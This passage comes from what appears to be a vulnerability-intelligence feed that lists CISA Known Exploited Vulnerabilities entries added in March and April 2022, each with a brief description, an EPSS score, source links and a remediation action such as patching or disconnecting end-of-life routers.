following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2022-22965&date=2026-10-25). Sources: CISA KEV entry CVE-2022-22965: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2022-22965&date=2026-10-25 CISA added this entry on 2022-04-04. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply updates per vendor instructions. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Apr 4, 2022; federal due date Apr 25, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Apple macOS Out-of-Bounds Write Vulnerability https://kevwire.com/record/CVE-2022-22675 Apple macOS Out-of-Bounds Write Vulnerability (Apr 4, 2022). macOS Monterey contains an out-of-bounds write vulnerability that could allow an application to execute arbitrary code with kernel privileges. EPSS 12.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2022-22675&date=2026-10-25). Sources: CISA KEV entry CVE-2022-22675: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2022-22675&date=2026-10-25 CISA added this entry on 2022-04-04. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply updates per vendor instructions. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Apr 4, 2022; federal due date Apr 25, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Apple macOS Out-of-Bounds Read Vulnerability https://kevwire.com/record/CVE-2022-22674 Apple macOS Out-of-Bounds Read Vulnerability (Apr 4, 2022). macOS Monterey contains an out-of-bounds read vulnerability that could allow an application to read kernel memory. EPSS 1.1% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2022-22674&date=2026-10-25). Sources: CISA KEV entry CVE-2022-22674: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2022-22674&date=2026-10-25 CISA added this entry on 2022-04-04. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply updates per vendor instructions. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Apr 4, 2022; federal due date Apr 25, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### D-Link Multiple Routers Remote Code Execution Vulnerability https://kevwire.com/record/CVE-2021-45382 D-Link Multiple Routers Remote Code Execution Vulnerability (Apr 4, 2022). A remote code execution vulnerability exists in all series H/W revisions routers via the DDNS function in ncc2 binary file. EPSS 97.8% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2021-45382&date=2026-10-25). Sources: CISA KEV entry CVE-2021-45382: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2021-45382&date=2026-10-25 CISA added this entry on 2022-04-04. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: The impacted product is end-of-life and should be disconnected if still in use. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Apr 4, 2022; federal due date Apr 25, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Trend Micro Apex Central Arbitrary File Upload Vulnerability https://kevwire.com/record/CVE-2022-26871 Trend Micro Apex Central Arbitrary File Upload Vulnerability (Mar 31, 2022). An arbitrary file upload vulnerability in Trend Micro Apex Central could allow for remote code execution. EPSS 19.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2022-26871&date=2026-10-25). Sources: CISA KEV entry CVE-2022-26871: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2022-26871&date=2026-10-25 CISA added this entry on 2022-03-31. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply updates per vendor instructions. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Mar 31, 2022; federal due date Apr 21, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Sophos Firewall Authentication Bypass Vulnerability https://kevwire.com/record/CVE-2022-1040 Sophos Firewall Authentication Bypass Vulnerability (Mar 31, 2022). An authentication bypass vulnerability in User Portal and Webadmin of Sophos Firewall allows for remote code execution. EPSS 99.8% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2022-1040&date=2026-10-25). Sources: CISA KEV entry CVE-2022-1040: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2022-1040&date=2026-10-25 CISA added this entry on 2022-03-31. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply updates per vendor instructions. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Mar 31, 2022; federal due date Apr 21, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Microsoft Windows User Profile Service Privilege Escalation Vulnerability https://kevwire.com/record/CVE-2021-34484 Microsoft Windows User Profile Service Privilege Escalation Vulnerability (Mar 31, 2022). Microsoft Windows User Profile Service contains an unspecified vulnerability that allows for privilege escalation. EPSS 21.8% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2021-34484&date=2026-10-25). Sources: CISA KEV entry CVE-2021-34484: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2021-34484&date=2026-10-25 CISA added this entry on 2022-03-31. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply updates per vendor instructions. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Mar 31, 2022; federal due date Apr 21, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### QNAP NAS Improper Authorization Vulnerability https://kevwire.com/record/CVE-2021-28799 QNAP NAS Improper Authorization Vulnerability (Mar 31, 2022). QNAP NAS running HBS 3 contains an improper authorization vulnerability which can allow remote attackers to log in to a device. EPSS 78.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2021-28799&date=2026-10-25). Sources: CISA KEV entry CVE-2021-28799: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2021-28799&date=2026-10-25 CISA added this entry on 2022-03-31. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply updates per vendor instructions. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Mar 31, 2022; federal due date Apr 21, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Dell dbutil Driver Insufficient Access Control Vulnerability https://kevwire.com/record/CVE-2021-21551 Dell dbutil Driver Insufficient Access Control Vulnerability (Mar 31, 2022). Dell dbutil driver contains an insufficient access control vulnerability which may lead to escalation of privileges, denial-of-service (DoS), or information disclosure. EPSS 79.6% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2021-21551&date=2026-10-25). Sources: CISA KEV entry CVE-2021-21551: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2021-21551&date=2026-10-25 CISA added this entry on 2022-03-31. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply updates per vendor instructions. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Mar 31, 2022; federal due date Apr 21, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Dasan GPON Routers Command Injection Vulnerability https://kevwire.com/record/CVE-2018-10562 Dasan GPON Routers Command Injection Vulnerability (Mar 31, 2022). Dasan GPON Routers contain an authentication bypass vulnerability. When combined with CVE-2018-10561, exploitation can allow an attacker to perform remote code execution. EPSS 99.9% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2018-10562&date=2026-10-25). Sources: CISA KEV entry CVE-2018-10562: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2018-10562&date=2026-10-25 CISA added this entry on 2022-03-31. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: The impacted product is end-of-life and should be disconnected if still in use. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Mar 31, 2022; federal due date Apr 21, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Dasan GPON Routers Authentication Bypass Vulnerability https://kevwire.com/record/CVE-2018-10561 Dasan GPON Routers Authentication Bypass Vulnerability (Mar 31, 2022). Dasan GPON Routers contain an authentication bypass vulnerability. When combined with CVE-2018-10562, exploitation can allow an attacker to perform remote code execution. EPSS 92.8% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2018-10561&date=2026-10-25). Sources: CISA KEV entry CVE-2018-10561: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2018-10561&date=2026-10-25 CISA added this entry on 2022-03-31. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: The impacted product is end-of-life and should be disconnected if still in use. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Mar 31, 2022; federal due date Apr 21, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Google Chromium V8 Type Confusion Vulnerability https://kevwire.com/record/CVE-2022-1096 Google Chromium V8 Type Confusion Vulnerability (Mar 28, 2022). Google Chromium V8 Engine contains a type confusion vulnerability that allows a remote attacker to potentially exploit heap corruption via a crafted HTML page. This vulnerability could affect multiple web browsers that utilize Chromium, including, but not limited to, Google Chrome, Microsoft Edge, and Opera. EPSS 24.7% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2022-1096&date=2026-10-25). Sources: CISA KEV entry CVE-2022-1096: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2022-1096&date=2026-10-25 CISA added this entry on 2022-03-28. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply updates per vendor instructions. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Mar 28, 2022; federal due date Apr 18, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Redis Debian-specific Redis Servers: Debian-specific Redis Server Lua Sandbox Escape Vulnerability https://kevwire.com/record/CVE-2022-0543 Redis Debian-specific Redis Servers: Debian-specific Redis Server Lua Sandbox Escape Vulnerability (Mar 28, 2022). Redis is prone to a (Debian-specific) Lua sandbox escape, which could result in remote code execution. EPSS 99.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2022-0543&date=2026-10-25). Sources: CISA KEV entry CVE-2022-0543: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2022-0543&date=2026-10-25 CISA added this entry on 2022-03-28. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply updates per vendor instructions. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Mar 28, 2022; federal due date Apr 18, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Microsoft Office Access Connectivity Engine Remote Code Execution Vulnerability https://kevwire.com/record/CVE-2021-38646 Microsoft Office Access Connectivity Engine Remote Code Execution Vulnerability (Mar 28, 2022). Microsoft Office Access Connectivity Engine contains an unspecified vulnerability which can allow for remote code execution. EPSS 8.0% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2021-38646&date=2026-10-25). Sources: CISA KEV entry CVE-2021-38646: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2021-38646&date=2026-10-25 CISA added this entry on 2022-03-28. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply updates per vendor instructions. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Mar 28, 2022; federal due date Apr 18, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Microsoft Windows Event Tracing Privilege Escalation Vulnerability https://kevwire.com/record/CVE-2021-34486 Microsoft Windows Event Tracing Privilege Escalation Vulnerability (Mar 28, 2022). Microsoft Windows Event Tracing contains an unspecified vulnerability which can allow for privilege escalation. EPSS 9.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2021-34486&date=2026-10-25). Sources: CISA KEV entry CVE-2021-34486: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2021-34486&date=2026-10-25 CISA added this entry on 2022-03-28. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply updates per vendor instructions. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Mar 28, 2022; federal due date Apr 18, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Atlassian Confluence Server Pre-Authorization Arbitrary File Read Vulnerability https://kevwire.com/record/CVE-2021-26085 Atlassian Confluence Server Pre-Authorization Arbitrary File Read Vulnerability (Mar 28, 2022). Affected versions of Atlassian Confluence Server allow remote attackers to view restricted resources via a pre-authorization arbitrary file read vulnerability in the /s/ endpoint. EPSS 99.9% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2021-26085&date=2026-10-25). Sources: CISA KEV entry CVE-2021-26085: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2021-26085&date=2026-10-25 CISA added this entry on 2022-03-28. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply updates per vendor instructions. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Mar 28, 2022; federal due date Apr 18, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### SonicWall Secure Remote Access (SRA) SQL Injection Vulnerability https://kevwire.com/record/CVE-2021-20028 SonicWall Secure Remote Access (SRA) SQL Injection Vulnerability (Mar 28, 2022). SonicWall Secure Remote Access (SRA) products contain an improper neutralization of a SQL Command leading to SQL injection. EPSS 30.1% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2021-20028&date=2026-10-25). Sources: CISA KEV entry CVE-2021-20028: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2021-20028&date=2026-10-25 CISA added this entry on 2022-03-28. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: The impacted product is end-of-life and should be disconnected if still in use. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Mar 28, 2022; federal due date Apr 18, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### SonicWall SMA100 Directory Traversal Vulnerability https://kevwire.com/record/CVE-2019-7483 SonicWall SMA100 Directory Traversal Vulnerability (Mar 28, 2022). In SonicWall SMA100, an unauthenticated Directory Traversal vulnerability in the handleWAFRedirect CGI allows the user to test for the presence of a file on the server. EPSS 4.0% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2019-7483&date=2026-10-25). Sources: CISA KEV entry CVE-2019-7483: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2019-7483&date=2026-10-25 CISA added this entry on 2022-03-28. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply updates per vendor instructions. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Mar 28, 2022; federal due date Apr 18, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Microsoft Windows Privilege Escalation Vulnerability https://kevwire.com/record/CVE-2018-8440 Microsoft Windows Privilege Escalation Vulnerability (Mar 28, 2022). An elevation of privilege vulnerability exists when Windows improperly handles calls to Advanced Local Procedure Call (ALPC). EPSS 18.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2018-8440&date=2026-10-25). Sources: CISA KEV entry CVE-2018-8440: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2018-8440&date=2026-10-25 CISA added this entry on 2022-03-28. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply updates per vendor instructions. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Mar 28, 2022; federal due date Apr 18, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Microsoft DirectX Graphics Kernel Privilege Escalation Vulnerability https://kevwire.com/record/CVE-2018-8406 Microsoft DirectX Graphics Kernel Privilege Escalation Vulnerability (Mar 28, 2022). An elevation of privilege vulnerability exists when the DirectX Graphics Kernel (DXGKRNL) driver improperly handles objects in memory. EPSS 3.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2018-8406&date=2026-10-25). Sources: CISA KEV entry CVE-2018-8406: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2018-8406&date=2026-10-25 CISA added this entry on 2022-03-28. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply updates per vendor instructions. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Mar 28, 2022; federal due date Apr 18, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Microsoft DirectX Graphics Kernel Privilege Escalation Vulnerability https://kevwire.com/record/CVE-2018-8405 Microsoft DirectX Graphics Kernel Privilege Escalation Vulnerability (Mar 28, 2022). An elevation of privilege vulnerability exists when the DirectX Graphics Kernel (DXGKRNL) driver improperly handles objects in memory. EPSS 3.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2018-8405&date=2026-10-25). Sources: CISA KEV entry CVE-2018-8405: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2018-8405&date=2026-10-25 CISA added this entry on 2022-03-28. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply updates per vendor instructions. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Mar 28, 2022; federal due date Apr 18, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Microsoft Windows Privilege Escalation Vulnerability https://kevwire.com/record/CVE-2017-0213 Microsoft Windows Privilege Escalation Vulnerability (Mar 28, 2022). Microsoft Windows COM Aggregate Marshaler allows for privilege escalation when an attacker runs a specially crafted application. EPSS 84.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2017-0213&date=2026-10-25). Sources: CISA KEV entry CVE-2017-0213: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2017-0213&date=2026-10-25 CISA added this entry on 2022-03-28. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply updates per vendor instructions. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Mar 28, 2022; federal due date Apr 18, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Microsoft Internet Explorer Information Disclosure Vulnerability https://kevwire.com/record/CVE-2017-0059 Microsoft Internet Explorer Information Disclosure Vulnerability (Mar 28, 2022). Microsoft Internet Explorer allow remote attackers to obtain sensitive information from process memory via a crafted web site. EPSS 62.0% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2017-0059&date=2026-10-25). Sources: CISA KEV entry CVE-2017-0059: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2017-0059&date=2026-10-25 CISA added this entry on 2022-03-28. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply updates per vendor instructions. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Mar 28, 2022; federal due date Apr 18, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Microsoft Edge and Internet Explorer Type Confusion Vulnerability https://kevwire.com/record/CVE-2017-0037 Microsoft Edge and Internet Explorer Type Confusion Vulnerability (Mar 28, 2022). Microsoft Edge and Internet Explorer have a type confusion vulnerability in mshtml.dll, which allows remote code execution. EPSS 80.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2017-0037&date=2026-10-25). Sources: CISA KEV entry CVE-2017-0037: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2017-0037&date=2026-10-25 CISA added this entry on 2022-03-28. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply updates per vendor instructions. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Mar 28, 2022; federal due date Apr 18, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Microsoft Edge Memory Corruption Vulnerability https://kevwire.com/record/CVE-2016-7201 Microsoft Edge Memory Corruption Vulnerability (Mar 28, 2022). The Chakra JavaScript scripting engine in Microsoft Edge allows remote attackers to execute remote code or cause a denial of service (memory corruption) via a crafted web site. EPSS 80.0% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2016-7201&date=2026-10-25). Sources: CISA KEV entry CVE-2016-7201: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2016-7201&date=2026-10-25 CISA added this entry on 2022-03-28. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply updates per vendor instructions. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Mar 28, 2022; federal due date Apr 18, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Microsoft Edge Memory Corruption Vulnerability https://kevwire.com/record/CVE-2016-7200 Microsoft Edge Memory Corruption Vulnerability (Mar 28, 2022). The Chakra JavaScript scripting engine in Microsoft Edge allows remote attackers to execute remote code or cause a denial of service (memory corruption) via a crafted web site. EPSS 82.8% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2016-7200&date=2026-10-25). Sources: CISA KEV entry CVE-2016-7200: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2016-7200&date=2026-10-25 CISA added this entry on 2022-03-28. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply updates per vendor instructions. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Mar 28, 2022; federal due date Apr 18, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Microsoft Internet Explorer Memory Corruption Vulnerability https://kevwire.com/record/CVE-2016-0189 Microsoft Internet Explorer Memory Corruption Vulnerability (Mar 28, 2022). The Microsoft JScript nd VBScript engines, as used in Internet Explorer and other products, allow attackers to execute remote code or cause a denial of service (memory corruption) via a crafted web site. EPSS 94.1% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2016-0189&date=2026-10-25). Sources: CISA KEV entry CVE-2016-0189: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2016-0189&date=2026-10-25 CISA added this entry on 2022-03-28. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply updates per vendor instructions. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Mar 28, 2022; federal due date Apr 18, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Microsoft Windows CSRSS Security Feature Bypass Vulnerability https://kevwire.com/record/CVE-2016-0151 Microsoft Windows CSRSS Security Feature Bypass Vulnerability (Mar 28, 2022). The Client-Server Run-time Subsystem (CSRSS) in Microsoft mismanages process tokens, which allows local users to gain privileges via a crafted application. EPSS 62.9% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2016-0151&date=2026-10-25). Sources: CISA KEV entry CVE-2016-0151: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2016-0151&date=2026-10-25 CISA added this entry on 2022-03-28. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a 